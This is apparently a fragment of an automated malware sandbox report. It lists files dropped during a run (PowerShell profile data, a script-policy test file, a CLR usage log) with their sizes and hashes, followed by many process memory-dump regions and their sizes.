31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f35bc33b7d96c6a1194d4a7f8a90605a

SHA1
15dfca96e6f06ee1822618de919cd4f949aa8bd7

SHA256
0a6069b7582bba35152761683b243f56bdb786190f3a67b75305eed3332d9d6c

SHA512
c3aa41029e74e77e55da91b78a63bde506387f9dd0c275a1242e0a3e9f3811e81aad372adf71732cd3818069db18abfc458db4735601a4100ad081cee6178969

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_je0xczq3.r54.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1752-78-0x0000026663A20000-0x0000026663A2A000-memory.dmp

Filesize
40KB

Download
memory/1752-81-0x0000026663BD0000-0x0000026663BEA000-memory.dmp

Filesize
104KB

Download
memory/1752-88-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1752-85-0x0000026662D00000-0x0000026662D10000-memory.dmp

Filesize
64KB

Download
memory/1752-82-0x0000026663B80000-0x0000026663B88000-memory.dmp

Filesize
32KB

Download
memory/1752-79-0x0000026663B90000-0x0000026663BAC000-memory.dmp

Filesize
112KB

Download
memory/1752-83-0x0000026663BB0000-0x0000026663BB6000-memory.dmp

Filesize
24KB

Download
memory/1752-66-0x0000026662D00000-0x0000026662D10000-memory.dmp

Filesize
64KB

Download
memory/1752-65-0x0000026662D00000-0x0000026662D10000-memory.dmp

Filesize
64KB

Download
memory/1752-64-0x0000026662D00000-0x0000026662D10000-memory.dmp

Filesize
64KB

Download
memory/1752-80-0x0000026663B70000-0x0000026663B7A000-memory.dmp

Filesize
40KB

Download
memory/1752-77-0x0000026663960000-0x0000026663A15000-memory.dmp

Filesize
724KB

Download
memory/1752-76-0x0000026663940000-0x000002666395C000-memory.dmp

Filesize
112KB

Download
memory/1752-84-0x0000026663BC0000-0x0000026663BCA000-memory.dmp

Filesize
40KB

Download
memory/1752-63-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1824-53-0x00007FF7B2E20000-0x00007FF7B3031000-memory.dmp

Filesize
2.1MB

Download
memory/1824-122-0x00007FF7B2E20000-0x00007FF7B3031000-memory.dmp

Filesize
2.1MB

Download
memory/1824-90-0x00007FF7B2E20000-0x00007FF7B3031000-memory.dmp

Filesize
2.1MB

Download
memory/2276-0-0x00007FF64A530000-0x00007FF64A741000-memory.dmp

Filesize
2.1MB

Download
memory/2276-36-0x00007FF64A530000-0x00007FF64A741000-memory.dmp

Filesize
2.1MB

Download
memory/2636-3-0x0000023969100000-0x0000023969122000-memory.dmp

Filesize
136KB

Download
memory/2636-11-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2636-17-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2636-12-0x0000023969150000-0x0000023969160000-memory.dmp

Filesize
64KB

Download
memory/2636-13-0x0000023969150000-0x0000023969160000-memory.dmp

Filesize
64KB

Download
memory/2636-14-0x0000023969150000-0x0000023969160000-memory.dmp

Filesize
64KB

Download
memory/2692-92-0x000001A9D6A30000-0x000001A9D6A40000-memory.dmp

Filesize
64KB

Download
memory/2692-91-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2692-103-0x000001A9D6A30000-0x000001A9D6A40000-memory.dmp

Filesize
64KB

Download
memory/2692-113-0x000001A9D6A30000-0x000001A9D6A40000-memory.dmp

Filesize
64KB

Download
memory/2692-115-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2736-133-0x00007FF64D150000-0x00007FF64D166000-memory.dmp

Filesize
88KB

Download
memory/2736-126-0x00007FF64D150000-0x00007FF64D166000-memory.dmp

Filesize
88KB

Download
memory/2932-20-0x000001A69D9C0000-0x000001A69D9D0000-memory.dmp

Filesize
64KB

Download
memory/2932-19-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2932-34-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/2932-32-0x000001A69D9C0000-0x000001A69D9D0000-memory.dmp

Filesize
64KB

Download
memory/2932-21-0x000001A69D9C0000-0x000001A69D9D0000-memory.dmp

Filesize
64KB

Download
memory/3780-138-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-170-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-123-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-124-0x0000020CFC5C0000-0x0000020CFC5E0000-memory.dmp

Filesize
128KB

Download
memory/3780-125-0x0000020CFC740000-0x0000020CFC780000-memory.dmp

Filesize
256KB

Download
memory/3780-188-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-127-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-128-0x0000020CFC780000-0x0000020CFC7A0000-memory.dmp

Filesize
128KB

Download
memory/3780-129-0x0000020CFC7A0000-0x0000020CFC7C0000-memory.dmp

Filesize
128KB

Download
memory/3780-131-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-132-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-186-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-134-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-135-0x0000020CFC780000-0x0000020CFC7A0000-memory.dmp

Filesize
128KB

Download
memory/3780-136-0x0000020CFC7A0000-0x0000020CFC7C0000-memory.dmp

Filesize
128KB

Download
memory/3780-184-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-140-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-142-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-144-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-146-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-148-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-150-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-152-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-154-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-156-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-158-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-160-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-162-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-164-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-166-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-168-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-182-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-172-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-174-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-176-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-178-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/3780-180-0x00007FF753190000-0x00007FF753984000-memory.dmp

Filesize
8.0MB

Download
memory/4700-46-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4700-52-0x00007FFF31010000-0x00007FFF31AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4700-48-0x0000014BD0C20000-0x0000014BD0C30000-memory.dmp

Filesize
64KB

Download
memory/4700-47-0x0000014BD0C20000-0x0000014BD0C30000-memory.dmp

Filesize
64KB

Download